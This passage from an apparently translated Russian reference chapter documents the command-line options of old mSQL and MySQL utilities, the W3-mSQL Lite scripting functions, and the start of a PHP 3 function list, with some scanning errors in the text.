    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -v

    Показать информацию о процессе, пока происходит экспорт данных.

    msq Iimport

    msqlimport [options] database table

    Читает файл с ASCII-разделителями и записывает данные в указанную таблицу.

    Параметры

    -е character

    Символ, используемый как управляющий в файле данных.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -q character

    Символ, обрамляющий каждое значение данных.

    -s character

    Символ, используемый для разделения данных.

    -V

    Показать информацию о процессе, пока происходит вставка данных.

    relshow

    relshow [options] [database] [table] [index|_seq]

    Показывает структуру указанной базы данных, таблицы, индекса или последовательности данных. Если не задать аргументов, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре заданной базы данных. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, третий аргумент должен быть либо индексом указанной таблицы, либо _seq, и в этом случае будет выдана информация о последовательности данных таблицы.

    Параметры

    -f file

    Использовать альтернативный файл конфигурации.

    -h hostname

    Подключиться к серверу баз данных на удаленном хосте.

    Утилиты MySQL

    isamchk

    isamchk [options] table [table...]

    Выполняет операции на самих табличных файлах (называемых ISAM-файлами из-за индексно-последовательного метода доступа (Indexed Sequential Access Method). Утилита используется для проверки и восстановления файлов, а также для выдачи информации о них. Вы должны указать корректный путь к файлам ISAM, которые хотите проверить. По умолчанию они находятся в /'usr/'local/var/'databasename/tablename.ISM.

    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Устанавливает отладочный уровень debuglevel. Отладочная библиотека MySQL имеет множество настроек. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appen-dixC.html. Обычно используется следующий набор параметров - d:t:o,/tmp/debugfile.

    -a, --analyze

    Анализирует распределение ключей в таблице и вносит изменения, если возможно повышение производительности.

    -d, -description

    Выводит информацию о таблице.
    -е, --extend-check

    Выполняет дополнительную проверку целостности таблицы. После этой операции вы можете быть абсолютно уверены, что ваша таблица в порядке.

    -f, --force

    Заменяет существующие файлы без предупреждения. Также без уведомления восстанавливает поврежденные таблицы.

    -i, --information

    Выводит всю статистику о проверяемой таблице.
    -k=number, -keys-used=number

    Обновляет только указанное число (number) используемых ключей. Этот параметр в основном используется для отключения ключей (-k=0), чтобы добиться ускорения табличных операций, таких как загрузка блоком (bulk load).

    -l, --no-symlinks

    He восстанавливать таблицы с символическими связями.

    -q, --quick

    Ускорить процесс восстановления путем отказа от проверки файла данных.

    -r, --recover

    Выполнить общее восстановление таблицы. Не исправляет дубликаты уникальных ключей.

    -о, --safe-recover

    Использовать старый, более медленный метод восстановления, который может исправить некоторые из повреждений, пропущенных при восстановлении методом <-r>.


    -О, --set-variable

    Установить переменную. См. главу 16 "Системные переменные MySQL и mSQL", где приведен полный список используемых переменных.

    -s, --silent

    Выводить только ошибки.

    -S, --sort-index

    Отсортировать индексный блок таблицы.

    -R=index, --sort-records=index

    Отсортировать записи, используя index.

    -U, --unpack

    Распаковать файл, сжатый с помощьюpack_isam.

    -v, --verbose

    Выводить дополнительную информацию.

    -V, --version

    Вывести информацию о версии.

    -w, --wait

    Если таблица заблокирована, ждать разблокирования. Отсутствие данного параметра приведет к тому, что ismchk прекратит выполнение при обнаружении заблокированной таблицы.

    isamlog

    isamlog [options] [logfile] [table]

    Выводит информацию о журналах ISAM. Журнал ISAM генерируется, если сервер MySQL запущен с параметром -log-isam. Информация из журнала ISAM используется для восстановления поврежденных таблиц с помощью параметра -r. Однако изменение файлов данных напрямую может быть опасным, и перед этим всегда следует резервировать данные.

    Параметры

    -?, -help

    Вывести справочную информацию по использованию утилиты.

    -# debuglevel

    Установить отладочный уровень. Список доступных параметров вы найдете по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -с number

    Проверить только последнее указанное (number) количество команд.

    -f number

    Максимальное число открытых файлов. Когда выполняется восстановление с использованием больших журналов, isamlog может одновременно держать открытыми большое количество таблиц. Если число файловых дескрипторов в вашей системе исчерпывается, этот параметр ограничит число файлов, используемых isamlog. Вместо использования большого количества файлов isamlog будет манипулировать данными между открываемыми файлами и памятью, что приведет к замедлению работы.

    -F directory

    Каталог с файлами журналов ISAM.

    -i

    Выводить дополнительную информацию.

    -о number

    Пропустить указанное число команд перед исследованием журнала.


    -p

    Удалить компоненты из пути к файлам.

    -r

    Игнорировать ошибки при обработке журнала. Этот параметр позволяет восстановить всю информацию из журнала.

    -R datafile recordnumber

    Открыть файл данных ISAM (имя файла заканчивается на .ISM) и выбрать данные, начиная с записи recordnumber.

    -u

    Обновить таблицы, используя информацию из журнала.

    -v

    Вывести дополнительную информацию о процессе.

    -V

    Вывести информацию о версии.

    -w file

    Поместить в файл все записи, найденные с использованием

    -R.

    mysql

    mysql [options] [database]

    Монитор командной строки MySQL. Эта программа является основным способом общения с сервером MySQL. Можно набирать команды SQL прямо в командной строке, и результат будет выведен на экран. Если ввести database, эта база данных автоматически выбирается как текущая.

    Монитор командной строки в работе очень похож на оболочку bash, поскольку использует те же функции GNU, что и bash. Например, вы можете завершить слово с помощью клавиши tab; нажатием Ctrl + a перейти к началу строки или, нажав Ctrl + e, перейти к концу строки; Ctrl + г производит обратный поиск, а нажатие <стрелки вверх> вызывает предыдущую команду.

    Распоряжения могут занимать несколько строк и не выполняться, пока не будет дана команда на выполнение. При использовании команд из полных слов, (go, print и т. д.) команда должна быть введена в строку полностью. Команды с экранированием (\g, \p и т. д.) могут быть использованы в конце любой строки. Точка с запятой может использоваться для завершения команды SQL, так же как и \g.

    Команды

    help, ?, \h

    Показать список команд утилиты.

    clear, \c

    Очистить (игнорировать) текущую команду.

    edit, \e

    Редактировать текущую команду с помощью редактора по умолчанию.

    exit.

    Выйти из программы.

    go, \g, ;

    Послать текущую команду серверу баз данных.

    ego, \G

    Послать текущую команду серверу баз данных и вывести результаты по вертикали.

    print, \p

    Вывести текущую команду.

    quit, \q

    To же, что exit,

    rehash, \#


    Перестроить индекс завершающих терминов.

    status, \s

    Показать информацию о сервере и текущей сессии.

    use, \u

    Выбрать другую базу данных.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel. -debug=debuglevel

    Устанавливает отладочный уровень. Полный список параметров доступен по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -A, --no-auto-rehash.

    Не хэшировать заново данные из базы в автоматическом режиме.

    -В, -batch

    Выводить результаты в пакетном ('batch') режиме. Это приведет к выводу информации с минимумом форматирования, что позволит легко использовать эту информацию в других приложениях баз данных.

    -е statement, -execute=statement

    Выполнить указанную команду и завершить программу. Автоматически применяет параметр -В.

    -f, --force

    Не останавливать обработку при обнаружении ошибки SQL.

    -h host, -host=host

    Подключиться к базе данных на указанном хосте.

    -п, -unbuffered

    Не производить буферизацию между запросами.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где приведен полный список используемых переменных.

    -p [password], --password[=password]

    Пароль, используемый при подключении к серверу баз данных. Если этот параметр используется без аргумента, пароль запрашивается из командной строки.

    -P port, -port=port

    Номер порта для подключения к серверу баз данных.

    -q, -quick

    Показывать информацию так, как она приходит от сервера. Если, используя эту функцию, вы приостановите свой терминал, сервер также может приостановиться.

    -r. -raw

    Показывать результаты без какого-либо преобразования. Полезно только в сочетании с -В.

    -s, --silent

    Не выводить некоторые результаты.

    -S file, -socket=file

    Файл сокета Unix, используемый для подключения к серверу баз данных.

    -t, -table

    Показывать результат в табличном формате.

    -Т, -debug-info

    Показать отладочную информацию при выходе из программы.

    -и username, -user=username

    Имя пользователя, используемое при подключении к базе данных.


    -v, -verbose

    Вывести дополнительные результаты.

    -V, -version

    Вывести информацию о версии.

    -w, -wait

    Если не удается подключиться к серверу баз данных, подождать и попытаться повторить подключение позднее.

    mysqlaccess

    mysqlaccess [options] [host] user database

    Показывает и изменяет права доступа к серверу MySQL. Вы можете проверить права пользователя для любой базы данных и для подключения с любого хоста. Для выбора нескольких хостов, пользователей и баз данных возможно использование маскирующих символов (wildcards) оболочки Unix '*' и '?'. Все действия выполняются над копией действующей таблицы привилегий, пока не будет вызвана команда mysqlaccess -commit .

    Параметры

    -?, -help

    Показать справочную информацию по пользованию утилитой.

    -b, -brief

    Показать результаты в виде краткой однострочной таблицы.

    -commit

    Перенести изменения из временной таблицы в действующую таблицу привилегий. Вы должны запустить mysqladmin reload, чтобы сделанные изменения вступили в силу.

    -сору

    Обновить временную таблицу, используя действующую таблицу привилегий.

    -d database, -db=database

    База данных, к которой происходит подключение.

    -debug=debuglevel

    Установить отладочный уровень (от 0 до 3).

    -h host, -host=host

    Имя хоста, права доступа которого проверяются.

    -howto

    Примеры использования программы.

    -Н host, --rhost=host

    Подключиться к серверу баз данных на удаленном хосте.

    -old-server

    Подключится к серверу MySQL версии старше 3.21.

    -р password, -password=password

    Проверить пароль идентифицируемого пользователя.

    -plan

    Показать предложения к следующей версии программы.

    -preview

    Показать разницу между действующей и временной таблицами привилегий.

    -Р password, -spassword=password

    Пароль администратора для доступа к таблице привилегий.

    --relnotes

    Вывести примечания к версии программы.

    --rollback

    Отменить изменения, сделанные во временной таблице.

    -t,--table

    Вывести результаты в полном табличном формате.

    -и username, -user=username


    Имя проверяемого пользователя.

    -U username. -superuser=username

    Имя администратора для доступа к таблицам привилегий.

    -v,--version

    Вывести информацию о версии.

    mysqladmin

    mysqladmin [options] command [command. . . ]

    Выполняет операции, действующие на сервер баз данных в целом. Эта утилита используется для выключения сервера, добавления и удаления целых баз данных и для других административных функций.

    Команды

    create database

    Создать новую базу данных.

    drop database

    Уничтожить базу данных.

    extended-status

    Выдать отчет о состоянии сервера, более полный, чем это делает команда status.

    flush-hosts

    Послать клиентам всю информацию, находящуюся в буфере.

    flush-logs

    Записать на диск все журнальные данные из буфера.

    flush-privileges

    То же, что и reload,

    flush-status

    Обнулить переменные состояния.

    flush-tables

    Выполнить все буферизованные табличные операции.

    kill thread-id [thread-id...]

    Завершить один или несколько потоков mysqld.

    password password

    Установить пароль администратора для сервера баз данных.

    ping

    Проверить, работает ли сервер MySQL.

    processlist

    Показать активные потоки сервера mysqld.

    reload

    Перезагрузить информацию о правах доступа из таблицы привилегий.

    refresh

    Выполнить все буферизованные табличные операции и открыть заново файлы журналов.

    shutdown

    Закончить работу сервера баз данных.

    status

    Отчет о состоянии сервера.

    variables

    Вывести системные переменные, используемые сервером.

    version

    Вывести номер версии сервера.

    Параметры

    -?, -help

    Вывести информацию об использовании утилиты.

    -# debuglevel, ~debug=debuglevel

    Установить отладочный уровень. См. isamchk для подробной информации.

    -f, --force

    Удалить таблицы без подтверждения. Также не выходить из программы при обнаружении ошибки.

    -h host, --host=host

    Подключиться к серверу MySQL на указанном хосте.

    -i seconds, --sleep=seconds

    Последовательно выполнять команды, делая между каждым запуском паузу длиной в указанное количество секунд.


    -р [password], --password=[password]

    Пароль, используемый для подключения к серверу баз данных. Если использовать без аргумента, пароль будет запрошен из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -s, --silent

    Не выдавать сообщение об ошибке при невозможности подключения к серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для подключения к локальному серверу баз данных.

    -и username, --user=username

    Имя пользователя, используемое для подключения к серверу баз данных.

    -V, --version

    Вывести информацию о версии программы mysqladmin.

    mysqlbug

    mysqlbug

    Отчет об ошибках в программах и утилитах MySQL. Эта программа собирает информацию о вашей инсталляции MySQL и высылает детальный отчет о проблеме команде разработчиков MySQL.

    mysqld

    mysqld [options]

    Демон сервера MySQL. Все остальные программы взаимодействуют с базой данных через этот сервер, поэтому он должен работать постоянно (за исключением отключений для настройки). Демон обычно запускается из скрипта, называемого safe_mysqld. Этот скрипт устанавливает необходимые переменные окружения и запускает mysqld с нужными параметрами.

    Параметры

    -?, -I, -help

    Показать информацию об использовании демона.

    -# debuglevel, -debug=debuglevel

    Устанавливает отладочный уровень. См. Isamchk для детальной информации.

    -b directory, --basedir=directory

    Основной каталог, используемый при определении всех остальных каталогов.

    --big-tables

    Позволить работу с большими результирующими наборами, сохраняя временные результаты в файле.

    --bind-address—ip-number

    IP-адрес, к которому привязан сервер.

    -h directory, --datadir=directory

    Каталог, содержащий файлы данных баз данных.

    -l [logfile], -log [=logfile]

    Записывает в журнал различную информацию, включая сообщения об ошибках и подключениях. Если аргумент не указан, в ка-честве файла журнала используется hostname, log , где hostname - имя компьютера, на котором работает сервер.


    --log-isam[=logfile]

    Создает журнал изменения в файлах данных (ISAM). Если аргумент не задан, в качестве файла журнала используется isam.log. Созданным журналом можно управлять с помощью утилиты isamlog.

    --log-update [=number]

    Создает журнал изменения базы данных. Журнал будет назван hostname.num, где hostname - имя сервера, а num - аргумент, заданный в команде. Если аргумент не указан, будет использоваться уникальное число.

    -L=language, --language=language

    Язык (English, French и т. д.), который будет использовать сервер.

    -п, --new

    Разрешить запуск новых (и, возможно, небезопасных) подпрограмм.

    -о, -old-protocol

    Использовать протокол 3.20.x.

    -О variable=value, -set-variable variable=value

    Установить переменные. См. главу 16, где приводится полный список переменных.

    --pid-file=file

    Имя файла, в котором содержится идентификатор процесса (PID) запущенного .сервера. Значение по умолчанию hostname, pid , где hostname - имя серверной машины.

    -P port, -port=port

    Номер используемого сетевого порта.

    -secure

    Разрешение сетевой проверки безопасности, что снижает производительность базы данных.

    -skip-name-resolve

    Использовать для подключения только IP-номера (а не имена). Это увеличивает производительность работы с сетью.

    --skip-networking

    Запретить сетевые подключения и использовать только локальный доступ.

    --skip-thread-priority

    Дать всем потокам одинаковый приоритет.

    -S, -skip-new

    Не разрешать новые (и, возможно, небезопасные) запуски демона.

    -sg

    Запретить проверку прав доступа и дать всем пользователям полный доступ на все базы данных.

    -Sl

    Не выполнять блокировку потоков.

    --socket=file

    Имя файла сокета Unix.

    -Т, --exit-info

    Выводить отладочную информацию при выключении сервера.

    --use-locking

    Разрешить блокировку потоков.

    -v, -V, --version

    Вывести информацию о версии.

    mysqldump

    mysqldump [options] database [table]

    Выдает содержимое указанной базы данных (или таблицы базы данных) в виде серии команд ANSI SQL. Эта команда удобна при разделении базы данных; используйте параметры -1 и -opt.


    Параметры

    -?, --help

    Вывести информацию об использовании утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -add-drop-table

    Вставлять команду DROP TABLE перед каждой командой CREATE TABLE.

    --add-locks

    Обрамлять командой LOCK TABLE команды ввода данных.

    -allow-keywords

    Выводить имена столбцов, которые совпадают с ключевыми словами. Обычно это нежелательно, так как они могут конфликтовать между собой.

    -с, --compleat-insert

    Выводить полные инструкции INSERT.

    -С, --compress

    Использовать сжатие данных при подключении к серверу.

    --delayed

    Использовать INSERT DELAYED при вставке записей.

    -d, --no-data

    Не выводить данные, записывать только операторы создания таблиц.

    -е, --extended-insert

    Использует вариант команды INSERT со множеством вводимых записей, что может ускорить последующий ввод данных.

    -f, --force

    Не выходить из программы при обнаружении ошибки.

    -F, --flush-logs

    Записать на диск данные журнала из буфера перед созданием дампа таблиц(ы).

    --fields-enclosed-by=delimeter

    При дампе с параметром -Т этот разделитель помещается по сторонам каждого поля.

    --fields-escaped-by=delimeter

    При дампе с параметром -Т этот разделитель помещается перед всеми специальными символами в качестве управляющего символа.

    --fields-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждого поля (по умолчанию - табуляция).

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -l, --lock-tables

    Заблокировать таблицы перед дампом.

    --lines-terminated-by=delimeter

    При дампе с параметром -Т этот разделитель используется после каждой строки.

    -t, --no-create-info

    He выполнять дамп команд описания таблиц, записывать только данные.

    -О variable=value, -set-variable variable=value

    Установить переменную. См. главу 16, где находится полный список используемых переменных.


    --opt

    Добавляет наиболее употребительные и полезные параметры командной строки: --add-drop-table, —add- locks, --extended-insert, --quick и --use-locks.

    -P [password], -password [=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль будет запрошен из командной строки.

    -Р port, -port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -q, -quick

    Показывать все данные немедленно, без буферизации.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -Т directory, --tab=directory

    Генерирует файл с символом табуляции в качестве разделителя, куда помещаются данные, одновременно с файлом, содержащим SQL-команды, описывающие создание таблицы. Файлы записываются в указанный каталог.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит создание дампа данных.

    -V, -version

    Показать информацию о версии.

    -w statement, --where=statement

    Выводить только записи, удовлетворяющие заданному SQL-выражению WHERE.

    mysqlimport

    mysqlimport [options] database [file]

    Читает файл данных, который может иметь несколько форматов (таких как файл с запятыми-разделителями или файл с фиксированной шириной столбцов), и вставляет данные в базу данных. В базе данных необходима таблица с тем же, что и у файла, именем, которая должна иметь достаточное количество столбцов с подходящими типами для хранения данных.

    Параметры

    -?, --help

    Выдать информацию по использованию утилиты.

    -# debuglevel, -debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appendixC.html.

    -d, --delete

    Удалить все данные, содержащиеся в таблице, перед вводом новых данных.

    -f, --force

    Не выходить из программы, если обнаружена ошибка

    --fields-terminated-by=string

    Указывает, что поля в файле данных заканчиваются символами, указанными в string.


    --fields-enclosed-by=string

    Указывает, что поля в файле данных с двух сторон заключены в символы string.

    --fields-optionally-enclosed-by=string

    Указывает, что поля в файле данных могут обрамляться (не обязательно) с двух сторон и другими указанными в string символами.

    --fields-escaped-by=string

    Заданное значение string используется в файле данных как управляющий символ.

    -h hostname, --host=hostname

    Подключиться к серверу баз данных на удаленном хосте.

    -I, --ignore

    Игнорировать новые данные, если они конфликтуют с существующим уникальным ключом.

    -l, --lock-tables

    Заблокировать таблицы перед вставкой данных.

    -р [password], --password[=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -r, --replace

    Если новые данные конфликтуют с существующим уникальным ключом, старые данные заменяются.

    -s, --silent

    Не показывать некоторые результаты.

    -S file, -socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -u username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -v, --verbose

    Показать информацию о состоянии процесса, пока происходит вставка данных.

    -V, -version

    Показать информацию о версии.

    mysqlshow

    mysqlshow [options] [database] [table] [field]

    Показывает структуру указанной базы данных, таблицы или поля. Если не заданы аргументы, выдается список всех баз данных. С одним аргументом будет выдана информация о структуре указанной базы. С двумя аргументами программа выдаст информацию об указанной таблице. Если указать все три элемента, будет показана информация об отдельном указанном поле таблицы.

    Параметры

    -?, -help

    Выдать справку по использованию утилиты.

    -# debuglevel, --debug=debuglevel

    Установить отладочный уровень. Список всех доступных параметров можно найти по адресу: http://www.turbolift.com/mysql/appen-dixC.html.


    -h hostname, --host=hostname

    Подключиться к удаленному серверу баз данных.

    -k, --keys

    Показать ключи таблицы.

    -Р [password], -password]=password]

    Пароль, используемый для подключения к серверу базы данных. Если не указан аргумент, пароль запрашивается из командной строки.

    -Р port, --port=port

    Порт, используемый для подключения к удаленному серверу баз данных.

    -S file, --socket=file

    Сокет Unix, используемый для локального подключения к серверу.

    -и username, --user=username

    Имя пользователя, используемое при подключении к серверу баз данных.

    -V, --version

    Показать информацию о версии.



    Lite

    Lite - это язык сценариев, используемый W3-mSQL. Его синтаксис очень похож на С и еще больше на Perl. Фактически, многие скрипты Lite синтаксически неотличимы от сценариев Perl. Однако Lite лишен многих расширенных возможностей Perl.

    Ниже приводится краткий справочник стандартных функций Lite, доступных при использовании W3-mSQL.

    chdir

    $result = chdir($path)

    Изменяет каталог на указанный путь. Если операцию произвести не удалось, возвращается отрицательное целое число.

    chmod

    $result = chmod($filename, $mode)

    Изменяет режим указанного файла на значение, заданное в mode. Если операцию произвести не удалось, возвращается отрицательное целое число. Значение mode может быть задано как десятичное, восьмеричное или шестнадцатеричное.

    chop

    $string = chop($string)

    Возвращает строку, у которой удален последний символ. Это весьма удобно для удаления символа конца строки из строк, прочитанных функцией read In.

    close

    close ($fd)

    Закрывает файл, связанный с указанным файловым дескриптором.

    ctime

    $time = ctime($time)

    Преобразует время time, заданное некоторым числом секунд с начала отсчета, в обычное текстовое представление времени Unix.

    echo

    echo($string)

    Печатает заданную строку. Все переменные в строке заменяются на их значения.

    fprintf

    fprintf($fd, $string [, arg ...])

    Работает как функция С (или Perl) с тем же именем. Первый аргумент - это файловый дескриптор. Отформатированная строка печатается в файл, связанный с файловым дескриптором.

    gethostbyaddr

    $hostinfo = gethostbyaddr($address)

    Возвращает тот же массив, что и gethostbyname() для указанного IP-адреса. IP-адрес должен быть задан десятичной строкой типа "127.0.0.1". В официальной документации к W3-mSQL эта функция называется и gethostbyaddr , и gethostbyaddress . На момент написания этих строк gethostbyadd ress не было среди функций W3-mSQL.

    gethostbyname

    $hostinfo = gethostbyname($host)

    Возвращает массив информации об указанном хосте. Первый элемент массива - это имя хоста, второй элемент - это его IP-адрес.


    getpid

    $pid = getpid()

    Возвращает идентификатор процесса (PID) программы Lite.

    getpwnam

    $entry = getpwnam($username)

    Возвращает массив информации о пользователе с пользовательским именем username . В массиве имеются следующие поля:

  • Имя пользователя.

  • Пароль.

  • UID.

  • GID.

  • GECOS (полное имя и другая дополнительная информация).

  • Домашний каталог.

  • Оболочка.

    getpwuid

    $entry = getpwuid($UID)

    Возвращает массив, идентичный массиву, возвращаемому getpwnam для пользователя с пользовательским ID $UID.

    includeFile

    includeFile($filename)

    Эта функция подключает файл filename к результату программы. Файл никак не изменяется и не анализируется.

    kill

    $result = kill($pid, $signal)

    Посылает сигнал signal процессу pid. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    link

    $result = link($file, $newlinkname)

    Создает "жесткую" ссылку от file к newlinkname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    mkdir

    $result = mkdir($directoryname)

    Создает каталог с указанным именем. Если операцию выполнить не удалось, возвращается отрицательное целое число.

    msqIConnect

    $socket = msqlConnect($host)

    Подключается к серверу mSQL на хосте host. Возвращает номер соке-та, используемый для последующей связи с сервером баз данных. При неудаче возвращается отрицательное целое число.

    msqICIose

    msqlClose($socket)

    Закрывает подключение, указанное сокетом socket.

    msqIDataSeek

    msqlDataSeek($result, $location)

    Помещает 'указатель' для result среазу перед записью. Указав location 0, вы поместите указатель в начало данных. Следующий вызов msqlFetchRow выберет строку сразу после location.

    msqlEncode

    $string = msqlEncode($string)

    Функция возвращает перекодированную копию строки string, которую можно использовать в запросе mSQL.

    msqlFetchRow

    $row = msqlFetchRow($result)

    Эта функция возвращает в виде массива следующую доступную запись из result.

    msqIFieldSeek

    msqlFieldSeek($result, Slocation)


    Функция изменяет 'указатель' на результат, возвращаемый msqllnitFieldList, так же как msqIDataSeek изменяет результат msqlStoreResult . ..



    msqIFreeResult

    msqlFreeResult($result)

    Функция освобождает всю память, использованную результатом, выбранным из базы с помощью msqlStoreRcsult . Эту функцию необходимо вызывать для каждого результата, с которым вы закончили работать.

    msqllnitFieldList

    $result = msqlInitFieldList($socket, $database, $table)

    Создает информационную таблицу о таблице table в базе данных database на сервере, указанном аргументом socket.

    msqIListDBs

    $databases = msqlListDBs($socket)

    Возвращает массив имен всех доступных баз данных на сервере, указанном аргументом socket.

    msqIListField

    $tableinfo = msqlListField($result)

    Возвращает массив информации о следующем поле таблицы, созданной msqllnitFieldList , указываемой аргументом result. Каждый последующий вызов функции msqIListField выдает новый массив информации, пока не закончатся поля таблицы. Массив состоит из следующих полей:

  • Имя поля

  • Имя таблицы

  • Тип таблицы

  • Длина

  • Флаги

    msqIListTables

    $tables = msqlListTables($socket, $database)

    Возвращает массив имен доступных таблиц базы данных database на сервере, указанном аргументом socket.

    msqINumRows

    msqlNumRows($result)

    Возвращает количество записей в данных, содержащихся в result.

    msqIQuery

    $result = msqlQuery($socket, $query)

    Пытается послать запрос query к подключению, указанному аргументом socket. Если запрос не был успешно выполнен, возвращается отрицательное целое число.

    msqISelectDB

    $result = msqlSelectDB($socket, $database)

    Функция пытается подключить socket к базе данных, указанной аргументом database . Если попытка не удалась, возвращается отрицательное целое число.

    msqIStoreResult

    $result = msqIStoreResult

    Выбирает все данные, полученные в результате последнего вызова msqlQuery , и сохраняет их для чтения и обработки.

    open

    $fd = open($file, $mode)

    Эта функция открывает указанный файл, используя заданный режим, и связывает с файлом файловый дескриптор. Режимы могут быть следующими:


    > Открыть файл для записи

    <Открыть файл для чтения

    <> Открыть файл для чтения или записи

    <Р Создать именованный канал и открыть его для чтения

    >Р Создать именованный канал и открыть его для записи

    <| Выполнить файл как команду и прочесть результаты

    >| Выполнить файл как команду и сделать запись в процесс

    pid

    $pid = getppid()

    Возвращает идентификатор (PID) родительского для программы Lite процесса.

    printf

    printf($string [, arg, ... ])

    Работает как функция С (или Perl) с тем же именем. Значение переменных не подставляется; для ввода переменных в строку необходимо использовать стандартное для С форматирование '%s'.

    read

    $data = read($fd, $length)

    Читает указанное в length число байт из заданного файлового дескриптора.

    readln

    $line =readln($fd)

    Читает следующую строку из указанного файлового дескриптора.

    readtok

    $data = readtok($fd, $token)

    Функция читает данные из указанного файлового дескриптора, пока не встретит маркер token. Используется только первый символ из token.

    rename

    $result = rename($oldname, $newname)

    Функция пытается переименовать указанный файл (или каталог) из oldname в newname . Если операцию совершить не удалось, возвращается отрицательное целое число.

    rmdir

    $result = rmdir($path)

    Функция пытается удалить указанный каталог. Если операцию совершить не удалось, возвращается отрицательное целое число.

    setContentType

    setContentType($string)

    Заменяет заданный по умолчанию тип содержимого HTML-страницы, содержащей скрипт, на значение, указанное в string. Эта функция должна быть самой первой строкой документа. Перед ней не должно быть даже пустой строки.

    sleep

    sleep($time)

    Останавливает работу программы на указанное количество секунд.

    split

    $strings = split($string, $token)

    Разделяет заданную строку на массив строк, используя как разделитель символ token..

    stat

    $stat = stat($file)

    Возвращает массив информации о файле file. В массиве содержатся следующие элементы:


  • Номер inode.

  • Режим файла.

  • Количество ссылок на файл.

  • UID.

  • GID.

  • Размер файла.

  • Atime.

  • Mtime.

  • Ctime.

  • Размер блока файловой системы (в байтах).

  • Количество используемых блоков файловой системы.

    strftime

    $time = strftime($format, $time)

    Преобразует время Unix в текстовое представление времени, используя заданный формат format. Все описанные ниже последовательности в строке format заменяются на соответствующие им значения:



    День недели в виде местных сокращений названий дней недели.



    День недели в виде местных полных названий дней недели.

    %b

    Месяц в виде местных сокращенных названий.



    Месяц в виде местных полных названий месяцев.

    %d

    День месяца (01-31).

    %D

    День в виде % m/% d/% у.



    День месяца (1-31, перед числами первого десятка добавляется пробел).



    Час (00-23).

    %I

    Час (00-12).

    %j

    День в году (001-366).

    %h

    Часы (0-23, отделенные пробелами).

    %l

    Часы (1-12, отделенные пробелами).

    %m

    Номер месяца (01—12).

    %M

    Минуты (00-59).



    AM или РМ.

    %S

    Секунды (00-59).



    Время в виде % Н:% М:% S.

    %U

    Номер недели в году (01-52).

    %w

    День недели (0-6, воскресенье является 0).

    %y

    Год века (00-99).

    %Y

    Год, включая век (например 1999).

    strseg

    $string = strseg($string, $start, $end)

    Возвращает подстроку из указанной строки, которая начинается с позиции start и закачивается на позиции end от начала строки.

    sub

    $string = sub($string, $ехр1, $ехрr2)

    Заменяет любые вхождения exprl в string на значение ехрг2. Значения exprl и ехрг2 могут быть разными по длине, строка string автоматически будет укорочена либо удлинена.

    substr

    $string = substr($string1, $regexp, $string2)

    Находит подстроку в строке string"!, которая отвечает регулярному выражению regexp. Каждой части регулярного выражения, заключенной в скобки, присваивается переменная $1, $2, $3 и т. д., содержащая результат совпадения, если оно было найдено. Возвращается значение string2 , с расширенными переменными (включая $1, $2, $3 и т. д.).


    tr

    $string = tr($string, $list1, $list2)

    Функция замещает все символы из списка listl, которые находит в строке string, их эквивалентом в списке list2 (например, tr("Robby", "oy", "ai") вернет строку "Rabbi"). Список символов может содержать диапазон символов, разделенный "-". В частности, tr("e.e. cummings", "a-z," "A-Z") вернет строку "E.E. CUMMINGS."

    truncate

    $result = truncate($fale, $length)

    Функция пытается сократить размер файла до указанной в байтах длины length . Обычно используется для создания файла с нулевой длиной. Если попытка не удалась, вернется отрицательное целое число.

    umask

    umask($mask)

    Устанавливает umask текущего процесса в заданное значение mask, которое может быть десятичным, восьмеричным или шестнадцатерич-ным.

    unixtime2*

    $year = unixtime2year($time)

    $month = unixtime2month($time)

    $day = unixtime2day($time)

    $hour = unixtirne2hour($time)

    $min = unixtime2min($time)

    $sec = unixtime2sec($time)

    Данные функции берут в качестве аргумента значение времени в формате Unix и возвращают запрашиваемое значение. Например, функция unixtime2day(time()) может вернуть текущий день месяца (значение от 1 до 31).

    unlink

    $result = unlink("filename")

    Удаляет указанный файл. Если удалить файл не удалось, возвращается отрицательное целое число.

    urIEncode

    $string = urlEncode($string)

    Эта функция возвращает копию строки string , которая перекодирована для безопасной вставки в URL.

    PHP

    Здесь вы найдете краткое справочное руководство по РНР. Список приведенных функций относится к РНР 3. Описаны те функции, которые работают с MySQL и mSQL, но пропущены функции для работы с другими серверами баз данных, такими как Ababas D, dbm, Oracle и PostgreSQL.

    abs

    $pos_num = abs($number);

    Abs возвращает абсолютное значение аргумента number.

    addslashes

    $escaped_string = addslashes($string); .

    Возвращает копию строки string , в которой экранированы все символы $ \ или '.

    asort

    $sorted_array = asort($array);

    Возвращает отсортированную копию ассоциативного массива array, asort работает только с ассоциативными массивами. Для сортировки обычных массивов используйте sort. Если первый элемент массива является числом, возвращаемый массив будет отсортирован по порядку, иначе он будет отсортирован по алфавиту.

    bindec

